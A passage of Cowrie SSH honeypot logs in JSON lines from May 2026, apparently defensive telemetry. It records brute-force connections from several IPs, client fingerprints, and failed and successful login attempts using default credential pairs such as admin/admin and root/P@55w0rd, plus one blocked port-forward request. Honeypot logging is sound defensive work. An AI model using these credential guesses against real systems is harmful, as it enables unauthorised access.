-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:00.631716Z","src_ip":"45.153.34.114","session":"ce180a7cc345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:00.896338Z","src_ip":"45.153.34.114","session":"ce180a7cc345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:01.988281Z","src_ip":"45.153.34.114","session":"ce180a7cc345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65088,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce64f19491e","protocol":"ssh","message":"New connection: 87.251.64.176:65088 (10.17.0.5:22) [session: 2ce64f19491e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:06.527379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:06.538001Z","src_ip":"87.251.64.176","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:06.636244Z","src_ip":"87.251.64.176","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:06.931301Z","src_ip":"87.251.64.176","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:07.035804Z","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:07.138600Z","src_ip":"87.251.64.176","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:07.242468Z","src_ip":"87.251.64.176","session":"2ce64f19491e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a94ee5e9670","protocol":"ssh","message":"New connection: 45.153.34.114:57336 (159.203.135.109:22) [session: 0a94ee5e9670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:08.631848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:08.637003Z","src_ip":"45.153.34.114","session":"0a94ee5e9670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:08.729622Z","src_ip":"45.153.34.114","session":"0a94ee5e9670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:09.004114Z","src_ip":"45.153.34.114","session":"0a94ee5e9670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:10.103803Z","src_ip":"45.153.34.114","session":"0a94ee5e9670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b252c1f27fe","protocol":"ssh","message":"New connection: 80.94.92.182:41730 (10.17.0.5:22) [session: 4b252c1f27fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:11.926735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:14.266505Z","src_ip":"80.94.92.182","session":"4b252c1f27fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:14.270453Z","src_ip":"80.94.92.182","session":"4b252c1f27fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39876,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4fd5131e251","protocol":"ssh","message":"New connection: 45.153.34.114:39876 (159.203.135.109:22) [session: b4fd5131e251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:15.935162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:15.940641Z","src_ip":"45.153.34.114","session":"b4fd5131e251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:16.024381Z","src_ip":"45.153.34.114","session":"b4fd5131e251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:16.072930Z","src_ip":"80.94.92.182","session":"4b252c1f27fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:16.281623Z","src_ip":"45.153.34.114","session":"b4fd5131e251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:17.313387Z","src_ip":"80.94.92.182","session":"4b252c1f27fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:17.371453Z","src_ip":"45.153.34.114","session":"b4fd5131e251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53456,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2c36cbbbf1","protocol":"ssh","message":"New connection: 103.75.199.4:53456 (159.203.135.109:22) [session: 4f2c36cbbbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:19.661464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:19.666935Z","src_ip":"103.75.199.4","session":"4f2c36cbbbf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:19.759226Z","src_ip":"103.75.199.4","session":"4f2c36cbbbf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:20.033687Z","src_ip":"103.75.199.4","session":"4f2c36cbbbf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:21.134591Z","src_ip":"103.75.199.4","session":"4f2c36cbbbf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46416,"dst_ip":"159.203.135.109","dst_port":22,"session":"eac741dd302c","protocol":"ssh","message":"New connection: 45.153.34.114:46416 (159.203.135.109:22) [session: eac741dd302c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:22.711826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:22.740264Z","src_ip":"45.153.34.114","session":"eac741dd302c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:22.827039Z","src_ip":"45.153.34.114","session":"eac741dd302c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:23.088414Z","src_ip":"45.153.34.114","session":"eac741dd302c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:24.193429Z","src_ip":"45.153.34.114","session":"eac741dd302c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d633373cdf","protocol":"ssh","message":"New connection: 45.153.34.114:60648 (159.203.135.109:22) [session: 06d633373cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:30.106274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:30.111662Z","src_ip":"45.153.34.114","session":"06d633373cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:30.196331Z","src_ip":"45.153.34.114","session":"06d633373cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:30.458700Z","src_ip":"45.153.34.114","session":"06d633373cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:31.570003Z","src_ip":"45.153.34.114","session":"06d633373cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":35244,"dst_ip":"159.203.135.109","dst_port":22,"session":"e90b78cced33","protocol":"ssh","message":"New connection: 20.203.42.204:35244 (159.203.135.109:22) [session: e90b78cced33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:32.897028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:32.903428Z","src_ip":"20.203.42.204","session":"e90b78cced33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 